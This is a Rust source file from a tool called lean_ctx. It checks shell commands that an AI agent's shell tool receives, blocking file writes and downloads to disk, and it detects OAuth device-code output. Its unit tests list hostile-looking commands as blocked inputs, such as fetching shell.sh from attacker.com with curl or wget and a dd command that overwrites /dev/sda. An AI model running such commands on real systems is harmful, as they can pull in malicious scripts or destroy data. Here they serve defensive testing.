Skip to main content

lean_ctx/tools/
ctx_shell.rs

1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5/// Validates a shell command before execution. Returns Some(error_message) if
6/// the command should be rejected, None if it's safe to run.
7pub fn validate_command(command: &str) -> Option<String> {
8    if command.len() > MAX_COMMAND_BYTES {
9        return Some(format!(
10            "ERROR: Command too large ({} bytes, limit {}). \
11             If you're writing file content, use the native Write/Edit tool instead. \
12             ctx_shell is for reading command output only (git, cargo, npm, etc.).",
13            command.len(),
14            MAX_COMMAND_BYTES
15        ));
16    }
17
18    if has_file_write_redirect(command) {
19        return Some(
20            "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
21             Use the native Write tool to create/modify files. \
22             ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
23             File writes via shell cause MCP protocol corruption on large payloads."
24                .to_string(),
25        );
26    }
27
28    let cmd_lower = command.to_lowercase();
29
30    if cmd_lower.starts_with("tee ") || cmd_lower.contains("| tee ") {
31        return Some(
32            "ERROR: ctx_shell detected a file-write command (tee). \
33             Use the native Write tool to create/modify files. \
34             ctx_shell is ONLY for reading command output."
35                .to_string(),
36        );
37    }
38
39    if is_heredoc_file_write(command) {
40        return Some(
41            "ERROR: ctx_shell detected a heredoc writing to a file. \
42             Use the native Write tool to create/modify files. \
43             ctx_shell is ONLY for reading command output. \
44             Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
45                .to_string(),
46        );
47    }
48
49    if let Some(reason) = download_to_file_reason(command) {
50        return Some(format!(
51            "ERROR: ctx_shell detected a file download/write ({reason}). \
52             ctx_shell is ONLY for reading command output — redirect-free flags bypass \
53             this doctrine, so they are blocked too (GH #391). \
54             Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
55             native tools to create files."
56        ));
57    }
58
59    None
60}
61
62/// Detects download/copy tools writing directly to files via their own flags
63/// (`curl -o`, `wget` default mode, `dd of=`) — the redirect-free equivalent of
64/// `> file`, reported as a `validate_command` bypass in GH #391.
65fn download_to_file_reason(command: &str) -> Option<String> {
66    for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
67        let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
68        let Some(first) = tokens.first() else {
69            continue;
70        };
71        let base = first.rsplit('/').next().unwrap_or(first);
72        match base {
73            "curl" => {
74                for tok in &tokens[1..] {
75                    if tok == "--output"
76                        || tok.starts_with("--output=")
77                        || tok == "--remote-name"
78                        || tok == "--remote-name-all"
79                        || tok == "--output-dir"
80                        || tok.starts_with("--output-dir=")
81                    {
82                        return Some(format!("curl {tok}"));
83                    }
84                    // Short flags cluster: -o / -O anywhere in e.g. `-fsSLo`.
85                    if tok.starts_with('-')
86                        && !tok.starts_with("--")
87                        && tok[1..].contains(['o', 'O'])
88                    {
89                        return Some(format!("curl {tok}"));
90                    }
91                }
92            }
93            "wget" => {
94                // wget writes a file BY DEFAULT; only stdout/no-download modes pass.
95                let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
96                    tok == "--output-document=-"
97                        || tok == "-O-"
98                        || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
99                        || ((tok == "-O" || tok == "--output-document")
100                            && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
101                        || tok == "--spider"
102                });
103                if !to_stdout {
104                    return Some(
105                        "wget downloads to a file by default; use wget -qO- <url> for stdout"
106                            .to_string(),
107                    );
108                }
109            }
110            "dd" => {
111                for tok in &tokens[1..] {
112                    if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
113                        return Some(format!("dd {tok}"));
114                    }
115                }
116            }
117            _ => {}
118        }
119    }
120    None
121}
122
123/// Returns true only for heredocs that redirect to files (the dangerous pattern).
124/// Legitimate heredoc uses (input piping, inline scripts) are allowed through.
125fn is_heredoc_file_write(command: &str) -> bool {
126    let has_heredoc = command.contains("<<");
127    if !has_heredoc {
128        return false;
129    }
130    // Only block: heredoc combined with file output redirect
131    // e.g. `cat <<EOF > file.txt` or `cat <<'EOF' >> output.log`
132    let cmd_lower = command.to_lowercase();
133    let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
134    let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
135    if !has_known_heredoc {
136        return false;
137    }
138    has_file_write_redirect(command)
139}
140
141/// Detects shell redirect operators (`>` or `>>`) that write to files.
142/// Ignores `>` inside quotes, `2>` (stderr), `/dev/null`, and comparison operators.
143fn has_file_write_redirect(command: &str) -> bool {
144    let bytes = command.as_bytes();
145    let len = bytes.len();
146    let mut i = 0;
147    let mut in_single_quote = false;
148    let mut in_double_quote = false;
149
150    while i < len {
151        let c = bytes[i];
152        if c == b'\'' && !in_double_quote {
153            in_single_quote = !in_single_quote;
154        } else if c == b'"' && !in_single_quote {
155            in_double_quote = !in_double_quote;
156        } else if c == b'>' && !in_single_quote && !in_double_quote {
157            if i > 0 && bytes[i - 1] == b'2' {
158                i += 1;
159                continue;
160            }
161            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
162                i + 2
163            } else {
164                i + 1
165            };
166            let target: String = command[target_start..]
167                .trim_start()
168                .chars()
169                .take_while(|c| !c.is_whitespace())
170                .collect();
171            if target == "/dev/null" {
172                i += 1;
173                continue;
174            }
175            if !target.is_empty() {
176                return true;
177            }
178        }
179        i += 1;
180    }
181    false
182}
183
184/// On Windows cmd.exe, `;` is not a valid command separator.
185/// Convert `cmd1; cmd2` to `cmd1 && cmd2` when running under cmd.exe.
186pub fn normalize_command_for_shell(command: &str) -> String {
187    if !cfg!(windows) {
188        return command.to_string();
189    }
190    let (_, flag) = crate::shell::shell_and_flag();
191    if flag != "/C" {
192        return command.to_string();
193    }
194    let bytes = command.as_bytes();
195    let mut result = Vec::with_capacity(bytes.len() + 16);
196    let mut in_single = false;
197    let mut in_double = false;
198    for (i, &b) in bytes.iter().enumerate() {
199        if b == b'\'' && !in_double {
200            in_single = !in_single;
201        } else if b == b'"' && !in_single {
202            in_double = !in_double;
203        } else if b == b';' && !in_single && !in_double {
204            result.extend_from_slice(b" && ");
205            continue;
206        }
207        result.push(b);
208        let _ = i;
209    }
210    String::from_utf8(result).unwrap_or_else(|_| command.to_string())
211}
212
213/// Compresses shell command output using the unified compression pipeline.
214/// This delegates to the same `compress_if_beneficial` logic used by the CLI,
215/// ensuring consistent behavior for excluded_commands, structural routing, and terse.
216pub fn handle(command: &str, output: &str, _crp_mode: CrpMode) -> String {
217    crate::shell::compress::engine::compress_if_beneficial(command, output)
218}
219
220#[cfg(test)]
221fn is_search_command(command: &str) -> bool {
222    let cmd = command.trim_start();
223    cmd.starts_with("grep ")
224        || cmd.starts_with("rg ")
225        || cmd.starts_with("find ")
226        || cmd.starts_with("fd ")
227        || cmd.starts_with("ag ")
228        || cmd.starts_with("ack ")
229}
230
231#[cfg(test)]
232fn generic_compress(output: &str) -> String {
233    let output = crate::core::compressor::strip_ansi(output);
234    let lines: Vec<&str> = output
235        .lines()
236        .filter(|l| {
237            let t = l.trim();
238            !t.is_empty()
239        })
240        .collect();
241
242    if lines.len() <= 20 {
243        return lines.join("\n");
244    }
245
246    let show_count = (lines.len() / 3).min(30);
247    let half = show_count / 2;
248    let first = &lines[..half];
249    let last = &lines[lines.len() - half..];
250    let omitted = lines.len() - (half * 2);
251    format!(
252        "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
253        first.join("\n"),
254        half * 2,
255        lines.len(),
256        omitted,
257        last.join("\n")
258    )
259}
260
261/// Detects OAuth device code flow output that must not be compressed.
262/// Uses a two-tier approach: strong signals match alone (very specific to
263/// device code flows), weak signals require a URL/domain in the same output.
264pub fn contains_auth_flow(output: &str) -> bool {
265    let lower = output.to_lowercase();
266
267    const STRONG_SIGNALS: &[&str] = &[
268        "devicelogin",
269        "deviceauth",
270        "device_code",
271        "device code",
272        "device-code",
273        "verification_uri",
274        "user_code",
275        "one-time code",
276    ];
277
278    if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
279        return true;
280    }
281
282    const WEAK_SIGNALS: &[&str] = &[
283        "enter the code",
284        "enter this code",
285        "enter code:",
286        "use the code",
287        "use a web browser to open",
288        "open the page",
289        "authenticate by visiting",
290        "sign in with the code",
291        "sign in using a code",
292        "verification code",
293        "authorize this device",
294        "waiting for authentication",
295        "waiting for login",
296        "waiting for you to authenticate",
297        "open your browser",
298        "open in your browser",
299    ];
300
301    let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
302    if !has_weak_signal {
303        return false;
304    }
305
306    lower.contains("http://") || lower.contains("https://")
307}
308
309#[cfg(test)]
310mod tests {
311    use super::*;
312
313    #[test]
314    fn normalize_cmd_no_change_on_unix() {
315        if cfg!(windows) {
316            return;
317        }
318        assert_eq!(
319            normalize_command_for_shell("cd /tmp; ls -la"),
320            "cd /tmp; ls -la"
321        );
322    }
323
324    #[test]
325    fn validate_allows_safe_commands() {
326        assert!(validate_command("git status").is_none());
327        assert!(validate_command("cargo test").is_none());
328        assert!(validate_command("npm run build").is_none());
329        assert!(validate_command("ls -la").is_none());
330    }
331
332    #[test]
333    fn validate_blocks_file_writes() {
334        assert!(validate_command("echo 'data' > output.txt").is_some());
335        assert!(validate_command("tee /tmp/file.txt").is_some());
336        assert!(validate_command("printf 'hello' > test.txt").is_some());
337    }
338
339    #[test]
340    fn validate_blocks_heredoc_with_file_redirect() {
341        assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
342        assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
343        assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
344    }
345
346    #[test]
347    fn validate_allows_heredoc_without_file_redirect() {
348        assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
349        assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
350        assert!(
351            validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
352        );
353        assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
354    }
355
356    #[test]
357    fn validate_blocks_oversized_commands() {
358        let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
359        let result = validate_command(&huge);
360        assert!(result.is_some());
361        assert!(result.unwrap().contains("too large"));
362    }
363
364    #[test]
365    fn validate_allows_cat_without_redirect() {
366        assert!(validate_command("cat file.txt").is_none());
367    }
368
369    // --- GH #391: download tools writing files without shell redirects ---
370
371    #[test]
372    fn validate_blocks_curl_output_flags() {
373        assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_some());
374        assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_some());
375        assert!(validate_command("curl --output evil.bin https://example.com").is_some());
376        assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
377        assert!(validate_command("curl -O https://example.com/payload").is_some());
378        assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
379    }
380
381    #[test]
382    fn validate_allows_curl_to_stdout() {
383        assert!(validate_command("curl https://api.example.com/health").is_none());
384        assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
385        assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
386        // -H takes a value; no o/O short flag involved.
387        assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
388    }
389
390    #[test]
391    fn validate_blocks_wget_default_file_download() {
392        assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
393        assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
394        assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
395    }
396
397    #[test]
398    fn validate_allows_wget_stdout_and_spider() {
399        assert!(validate_command("wget -qO- https://example.com").is_none());
400        assert!(validate_command("wget -O- https://example.com").is_none());
401        assert!(validate_command("wget -O - https://example.com").is_none());
402        assert!(validate_command("wget --output-document=- https://example.com").is_none());
403        assert!(validate_command("wget --spider https://example.com").is_none());
404    }
405
406    #[test]
407    fn validate_blocks_dd_output_file() {
408        assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
409        assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
410    }
411
412    #[test]
413    fn validate_allows_dd_read_only() {
414        assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
415        assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
416    }
417
418    // --- Auth flow detection: strong signals (no URL needed) ---
419
420    #[test]
421    fn auth_flow_detects_azure_device_code() {
422        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
423        assert!(contains_auth_flow(output));
424    }
425
426    #[test]
427    fn auth_flow_detects_gh_auth_one_time_code() {
428        let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
429        assert!(contains_auth_flow(output));
430    }
431
432    #[test]
433    fn auth_flow_detects_device_code_json() {
434        let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
435        assert!(contains_auth_flow(output));
436    }
437
438    #[test]
439    fn auth_flow_detects_verification_uri_field() {
440        let output =
441            r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
442        assert!(contains_auth_flow(output));
443    }
444
445    #[test]
446    fn auth_flow_detects_user_code_field() {
447        let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
448        assert!(contains_auth_flow(output));
449    }
450
451    // --- Auth flow detection: weak signals (require URL) ---
452
453    #[test]
454    fn auth_flow_detects_gcloud_with_url() {
455        let output = "Go to the following link in your browser:\n\n    https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
456        assert!(contains_auth_flow(output));
457    }
458
459    #[test]
460    fn auth_flow_detects_aws_sso_with_url() {
461        let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
462        assert!(contains_auth_flow(output));
463    }
464
465    #[test]
466    fn auth_flow_detects_firebase_with_url() {
467        let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
468        assert!(contains_auth_flow(output));
469    }
470
471    #[test]
472    fn auth_flow_detects_generic_browser_open_with_url() {
473        let output =
474            "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
475        assert!(contains_auth_flow(output));
476    }
477
478    // --- False positive protection ---
479
480    #[test]
481    fn auth_flow_ignores_normal_build_output() {
482        let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
483        assert!(!contains_auth_flow(output));
484    }
485
486    #[test]
487    fn auth_flow_ignores_git_output() {
488        let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
489        assert!(!contains_auth_flow(output));
490    }
491
492    #[test]
493    fn auth_flow_ignores_npm_install_output() {
494        let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n  run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
495        assert!(!contains_auth_flow(output));
496    }
497
498    #[test]
499    fn auth_flow_ignores_docs_mentioning_auth() {
500        let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
501        assert!(!contains_auth_flow(output));
502    }
503
504    #[test]
505    fn auth_flow_weak_signal_requires_url() {
506        let output = "Please enter the code ABC123 in the terminal";
507        assert!(!contains_auth_flow(output));
508    }
509
510    #[test]
511    fn auth_flow_weak_signal_without_url_is_ignored() {
512        let output = "Waiting for authentication to complete... done!";
513        assert!(!contains_auth_flow(output));
514    }
515
516    #[test]
517    fn auth_flow_ignores_virtualenv_activate() {
518        let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
519        assert!(!contains_auth_flow(output));
520    }
521
522    #[test]
523    fn auth_flow_ignores_api_response_with_code_field() {
524        let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
525        assert!(!contains_auth_flow(output));
526    }
527
528    // --- Integration: handle() preserves auth flow ---
529
530    #[test]
531    fn handle_preserves_auth_flow_output_fully() {
532        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
533        // az login is Passthrough via OutputPolicy, so all content is preserved
534        let result = handle("az login --use-device-code", output, CrpMode::Off);
535        assert!(result.contains("ABCD1234"), "auth code must be preserved");
536        assert!(result.contains("devicelogin"), "URL must be preserved");
537        assert!(
538            result.contains("Line 13"),
539            "all lines must be preserved (no truncation)"
540        );
541    }
542
543    #[test]
544    fn handle_compresses_normal_output_not_auth() {
545        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
546        let output = lines.join("\n");
547        let result = handle("some-tool check", &output, CrpMode::Off);
548        assert!(
549            !result.contains("auth/device-code flow detected"),
550            "normal output must not trigger auth detection"
551        );
552        assert!(
553            result.len() < output.len() + 100,
554            "normal output should be compressed, not inflated"
555        );
556    }
557
558    #[test]
559    fn is_search_command_detects_grep() {
560        assert!(is_search_command("grep -r pattern src/"));
561        assert!(is_search_command("rg pattern src/"));
562        assert!(is_search_command("find . -name '*.rs'"));
563        assert!(is_search_command("fd pattern"));
564        assert!(is_search_command("ag pattern src/"));
565        assert!(is_search_command("ack pattern"));
566    }
567
568    #[test]
569    fn is_search_command_rejects_non_search() {
570        assert!(!is_search_command("cargo build"));
571        assert!(!is_search_command("git status"));
572        assert!(!is_search_command("npm install"));
573        assert!(!is_search_command("cat file.rs"));
574    }
575
576    #[test]
577    fn generic_compress_preserves_short_output() {
578        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
579        let output = lines.join("\n");
580        let result = generic_compress(&output);
581        assert_eq!(result, output);
582    }
583
584    #[test]
585    fn generic_compress_scales_with_length() {
586        let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
587        let output = lines.join("\n");
588        let result = generic_compress(&output);
589        assert!(result.contains("truncated"));
590        let shown_count = result.lines().count();
591        assert!(
592            shown_count > 10,
593            "should show more than old 6-line limit, got {shown_count}"
594        );
595        assert!(shown_count < 60, "should be truncated, not full output");
596    }
597
598    #[test]
599    fn handle_preserves_search_results() {
600        let lines: Vec<String> = (1..=30)
601            .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
602            .collect();
603        let output = lines.join("\n");
604        let result = handle("rg search_result src/", &output, CrpMode::Off);
605        for i in 1..=30 {
606            assert!(
607                result.contains(&format!("file{i}")),
608                "search result file{i} should be preserved in output"
609            );
610        }
611    }
612}